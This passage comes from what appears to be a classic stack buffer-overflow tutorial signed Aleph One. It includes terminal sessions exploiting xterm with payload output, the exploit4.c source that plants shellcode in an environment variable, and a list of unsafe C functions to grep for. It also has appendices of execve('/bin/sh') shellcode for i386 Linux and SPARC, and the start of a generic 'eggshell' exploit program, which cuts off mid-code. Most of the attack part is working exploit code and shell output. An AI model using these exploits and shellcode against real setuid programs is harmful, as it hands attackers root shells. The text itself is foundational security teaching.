  10359. §1§ÿ@§Ë‹ˇˇˇ/bin/sh§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§
  10360.  
  10361.  
  10362.  
  10363.  
  10364.  
  10365.  
  10366.  
  10367.  
  10368. ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH
  10369.  
  10370.  
  10371.  
  10372.  
  10373.  
  10374.  
  10375.  
  10376.  
  10377. §ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇø
  10378.  
  10379.  
  10380.  
  10381.  
  10382.  
  10383.  
  10384.  
  10385.  
  10386. H§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇ
  10387.  
  10388.  
  10389.  
  10390.  
  10391.  
  10392.  
  10393.  
  10394.  
  10395. øH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇøH§ˇ
  10396. Warning: some arguments in previous message were lost
  10397. Illegal instruction
  10398. [aleph1]$ exit
  10399. .
  10400. .
  10401. .
  10402. [aleph1]$ ./exploit4 2148 600
  10403. Using address: 0xbffffb54
  10404. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  10405. Warning: Color name "Î^1§FF
  10406.                            ∞
  10407.                             ÛV
  10408.  
  10409. §1§ÿ@§Ë‹ˇˇˇ/bin/sh˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚
  10410.  
  10411.  
  10412.  
  10413.  
  10414.  
  10415.  
  10416.  
  10417.  
  10418. ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT
  10419.  
  10420.  
  10421.  
  10422.  
  10423.  
  10424.  
  10425.  
  10426.  
  10427. ˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇø
  10428.  
  10429.  
  10430.  
  10431.  
  10432.  
  10433.  
  10434.  
  10435.  
  10436. T˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇ
  10437.  
  10438.  
  10439.  
  10440.  
  10441.  
  10442.  
  10443.  
  10444.  
  10445. øT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇøT˚ˇ
  10446. Warning: some arguments in previous message were lost
  10447. bash$
  10448. ------------------------------------------------------------------------------
  10449.  
  10450.    Eureka! Less than a dozen tries and we found the magic numbers. If xterm
  10451. where installed suid root this would now be a root shell.
  10452.  
  10453.  
  10454.                             Small Buffer Overflows
  10455.                             ~~~~~~~~~~~~~~~~~~~~~~
  10456.  
  10457.    There will be times when the buffer you are trying to overflow is so
  10458. small that either the shellcode wont fit into it, and it will overwrite the
  10459. return address with instructions instead of the address of our code, or the
  10460. number of NOPs you can pad the front of the string with is so small that the
  10461. chances of guessing their address is minuscule.  To obtain a shell from these
  10462. programs we will have to go about it another way.  This particular approach
  10463. only works when you have access to the program's environment variables.
  10464.  
  10465.    What we will do is place our shellcode in an environment variable, and
  10466. then overflow the buffer with the address of this variable in memory.  This
  10467. method also increases your changes of the exploit working as you can make
  10468. the environment variable holding the shell code as large as you want.
  10469.  
  10470.    The environment variables are stored in the top of the stack when the
  10471. program is started, any modification by setenv() are then allocated
  10472. elsewhere.  The stack at the beginning then looks like this:
  10473.  
  10474.  
  10475.       <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
  10476.  
  10477.    Our new program will take an extra variable, the size of the variable
  10478. containing the shellcode and NOPs. Our new exploit now looks like this:
  10479.  
  10480. exploit4.c
  10481. ------------------------------------------------------------------------------
  10482. #include <stdlib.h>
  10483.  
  10484. #define DEFAULT_OFFSET                    0
  10485. #define DEFAULT_BUFFER_SIZE             512
  10486. #define DEFAULT_EGG_SIZE               2048
  10487. #define NOP                            0x90
  10488.  
  10489. char shellcode[] =
  10490.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  10491.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  10492.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  10493.  
  10494. unsigned long get_esp(void) {
  10495.    __asm__("movl %esp,%eax");
  10496. }
  10497.  
  10498. void main(int argc, char *argv[]) {
  10499.   char *buff, *ptr, *egg;
  10500.   long *addr_ptr, addr;
  10501.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  10502.   int i, eggsize=DEFAULT_EGG_SIZE;
  10503.  
  10504.   if (argc > 1) bsize   = atoi(argv[1]);
  10505.   if (argc > 2) offset  = atoi(argv[2]);
  10506.   if (argc > 3) eggsize = atoi(argv[3]);
  10507.  
  10508.  
  10509.   if (!(buff = malloc(bsize))) {
  10510.     printf("Can't allocate memory.\n");
  10511.     exit(0);
  10512.   }
  10513.   if (!(egg = malloc(eggsize))) {
  10514.     printf("Can't allocate memory.\n");
  10515.     exit(0);
  10516.   }
  10517.  
  10518.   addr = get_esp() - offset;
  10519.   printf("Using address: 0x%x\n", addr);
  10520.  
  10521.   ptr = buff;
  10522.   addr_ptr = (long *) ptr;
  10523.   for (i = 0; i < bsize; i+=4)
  10524.     *(addr_ptr++) = addr;
  10525.  
  10526.   ptr = egg;
  10527.   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  10528.     *(ptr++) = NOP;
  10529.  
  10530.   for (i = 0; i < strlen(shellcode); i++)
  10531.     *(ptr++) = shellcode[i];
  10532.  
  10533.   buff[bsize - 1] = '\0';
  10534.   egg[eggsize - 1] = '\0';
  10535.  
  10536.   memcpy(egg,"EGG=",4);
  10537.   putenv(egg);
  10538.   memcpy(buff,"RET=",4);
  10539.   putenv(buff);
  10540.   system("/bin/bash");
  10541. }
  10542. ------------------------------------------------------------------------------
  10543.  
  10544.    Lets try our new exploit with our vulnerable test program:
  10545.  
  10546. ------------------------------------------------------------------------------
  10547. [aleph1]$ ./exploit4 768
  10548. Using address: 0xbffffdb0
  10549. [aleph1]$ ./vulnerable $RET
  10550. $
  10551. ------------------------------------------------------------------------------
  10552.  
  10553.    Works like a charm. Now lets try it on xterm:
  10554.  
  10555. ------------------------------------------------------------------------------
  10556. [aleph1]$ export DISPLAY=:0.0
  10557. [aleph1]$ ./exploit4 2148
  10558. Using address: 0xbffffdb0
  10559. [aleph1]$ /usr/X11R6/bin/xterm -fg $RET
  10560. Warning: Color name
  10561. "∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§
  10562.  
  10563.  
  10564.  
  10565.  
  10566.  
  10567.  
  10568.  
  10569.  
  10570. ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞
  10571.  
  10572.  
  10573.  
  10574.  
  10575.  
  10576.  
  10577.  
  10578.  
  10579. §ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø
  10580.  
  10581.  
  10582.  
  10583.  
  10584.  
  10585.  
  10586.  
  10587.  
  10588. ∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇ
  10589.  
  10590.  
  10591.  
  10592.  
  10593.  
  10594.  
  10595.  
  10596.  
  10597. ø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§
  10598.  
  10599.  
  10600.  
  10601.  
  10602.  
  10603.  
  10604.  
  10605.  
  10606. ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞
  10607.  
  10608.  
  10609.  
  10610.  
  10611.  
  10612.  
  10613.  
  10614.  
  10615. §ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø
  10616.  
  10617.  
  10618.  
  10619.  
  10620.  
  10621.  
  10622.  
  10623.  
  10624. ∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇ
  10625.  
  10626.  
  10627.  
  10628.  
  10629.  
  10630.  
  10631.  
  10632.  
  10633. ø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§
  10634.  
  10635.  
  10636.  
  10637.  
  10638.  
  10639.  
  10640.  
  10641.  
  10642. ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇø∞§ˇˇø∞§ˇø
  10643.  
  10644.  
  10645.  
  10646.  
  10647.  
  10648.  
  10649.  
  10650.  
  10651. ∞§ˇø∞§ˇø∞§
  10652. Warning: some arguments in previous message were lost
  10653. $
  10654. ------------------------------------------------------------------------------
  10655.  
  10656.    On the first try!  It has certainly increased our odds.  Depending how 
  10657. much environment data the exploit program has compared with the program 
  10658. you are trying to exploit the guessed address may be to low or to high. 
  10659. Experiment both with positive and negative offsets.
  10660.  
  10661.  
  10662.                               Finding Buffer Overflows
  10663.                               ~~~~~~~~~~~~~~~~~~~~~~~~
  10664.  
  10665.    As stated earlier, buffer overflows are the result of stuffing more
  10666. information into a buffer than it is meant to hold.  Since C does not have any
  10667. built-in bounds checking, overflows often manifest themselves as writing past
  10668. the end of a character array.  The standard C library provides a number of
  10669. functions for copying or appending strings, that perform no boundary checking.
  10670. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions 
  10671. operate on null-terminated strings, and do not check for overflow of the 
  10672. receiving string.  gets() is a function that reads a line from stdin into 
  10673. a buffer until either a terminating newline or EOF.  It performs no checks for
  10674. buffer overflows.  The scanf() family of functions can also be a problem if 
  10675. you are matching a sequence of non-white-space characters (%s), or matching a 
  10676. non-empty sequence of characters from a specified set (%[]), and the array 
  10677. pointed to by the char pointer, is not large enough to accept the whole 
  10678. sequence of characters, and you have not defined the optional maximum field 
  10679. width.  If the target of any of these functions is a buffer of static size, 
  10680. and its other argument was somehow derived from user input there is a good
  10681. posibility that you might be able to exploit a buffer overflow.
  10682.  
  10683.    Another usual programming construct we find is the use of a while loop to
  10684. read one character at a time into a buffer from stdin or some file until the
  10685. end of line, end of file, or some other delimiter is reached.  This type of
  10686. construct usually uses one of these functions: getc(), fgetc(), or getchar().
  10687. If there is no explicit checks for overflows in the while loop, such programs 
  10688. are easily exploited.
  10689.  
  10690.    To conclude, grep(1) is your friend.  The sources for free operating
  10691. systems and their utilities is readily available.  This fact becomes quite
  10692. interesting once you realize that many comercial operating systems utilities
  10693. where derived from the same sources as the free ones.  Use the source d00d.
  10694.  
  10695.  
  10696.      Appendix A - Shellcode for Different Operating Systems/Architectures
  10697.      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  10698.  
  10699. i386/Linux
  10700. ------------------------------------------------------------------------------
  10701.         jmp    0x1f
  10702.         popl   %esi
  10703.         movl   %esi,0x8(%esi)
  10704.         xorl   %eax,%eax
  10705.     movb   %eax,0x7(%esi)
  10706.         movl   %eax,0xc(%esi)
  10707.         movb   $0xb,%al
  10708.         movl   %esi,%ebx
  10709.         leal   0x8(%esi),%ecx
  10710.         leal   0xc(%esi),%edx
  10711.         int    $0x80
  10712.         xorl   %ebx,%ebx
  10713.         movl   %ebx,%eax
  10714.         inc    %eax
  10715.         int    $0x80
  10716.         call   -0x24
  10717.         .string \"/bin/sh\"
  10718. ------------------------------------------------------------------------------
  10719.  
  10720. SPARC/Solaris
  10721. ------------------------------------------------------------------------------
  10722.         sethi   0xbd89a, %l6
  10723.         or      %l6, 0x16e, %l6
  10724.         sethi   0xbdcda, %l7
  10725.         and     %sp, %sp, %o0
  10726.         add     %sp, 8, %o1
  10727.         xor     %o2, %o2, %o2
  10728.         add     %sp, 16, %sp
  10729.         std     %l6, [%sp - 16]
  10730.         st      %sp, [%sp - 8]
  10731.         st      %g0, [%sp - 4]
  10732.         mov     0x3b, %g1
  10733.         ta      8
  10734.         xor     %o7, %o7, %o0
  10735.         mov     1, %g1
  10736.         ta      8
  10737. ------------------------------------------------------------------------------
  10738.  
  10739. SPARC/SunOS
  10740. ------------------------------------------------------------------------------
  10741.         sethi   0xbd89a, %l6
  10742.         or      %l6, 0x16e, %l6
  10743.         sethi   0xbdcda, %l7
  10744.         and     %sp, %sp, %o0
  10745.         add     %sp, 8, %o1
  10746.         xor     %o2, %o2, %o2
  10747.         add     %sp, 16, %sp
  10748.         std     %l6, [%sp - 16]
  10749.         st      %sp, [%sp - 8]
  10750.         st      %g0, [%sp - 4]
  10751.         mov     0x3b, %g1
  10752.     mov    -0x1, %l5
  10753.         ta      %l5 + 1
  10754.         xor     %o7, %o7, %o0
  10755.         mov     1, %g1
  10756.         ta      %l5 + 1
  10757. ------------------------------------------------------------------------------
  10758.  
  10759.  
  10760.                  Appendix B - Generic Buffer Overflow Program
  10761.                  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  10762.  
  10763. shellcode.h
  10764. ------------------------------------------------------------------------------
  10765. #if defined(__i386__) && defined(__linux__)
  10766.  
  10767. #define NOP_SIZE    1
  10768. char nop[] = "\x90";
  10769. char shellcode[] =
  10770.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  10771.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  10772.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  10773.  
  10774. unsigned long get_sp(void) {
  10775.    __asm__("movl %esp,%eax");
  10776. }
  10777.  
  10778. #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
  10779.  
  10780. #define NOP_SIZE    4
  10781. char nop[]="\xac\x15\xa1\x6e";
  10782. char shellcode[] =
  10783.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  10784.   "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  10785.   "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  10786.   "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
  10787.  
  10788. unsigned long get_sp(void) {
  10789.   __asm__("or %sp, %sp, %i0");
  10790. }
  10791.  
  10792. #elif defined(__sparc__) && defined(__sun__)
  10793.  
  10794. #define NOP_SIZE        4
  10795. char nop[]="\xac\x15\xa1\x6e";
  10796. char shellcode[] =
  10797.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  10798.   "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  10799.   "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  10800.   "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
  10801.  
  10802. unsigned long get_sp(void) {
  10803.   __asm__("or %sp, %sp, %i0");
  10804. }
  10805.  
  10806. #endif
  10807. ------------------------------------------------------------------------------
  10808.  
  10809. eggshell.c
  10810. ------------------------------------------------------------------------------
  10811. /*
  10812.  * eggshell v1.0
  10813.  *
  10814.  * Aleph One / aleph1@underground.org
  10815.  */
  10816. #include <stdlib.h>
  10817. #include <stdio.h>
  10818. #include "shellcode.h"
  10819.  
  10820. #define DEFAULT_OFFSET                    0
  10821. #define DEFAULT_BUFFER_SIZE             512
  10822. #define DEFAULT_EGG_SIZE               2048
  10823.  
  10824. void usage(void);
  10825.  
  10826. void main(int argc, char *argv[]) {
  10827.   char *ptr, *bof, *egg;
  10828.   long *addr_ptr, addr;
  10829.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  10830.   int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
  10831.  
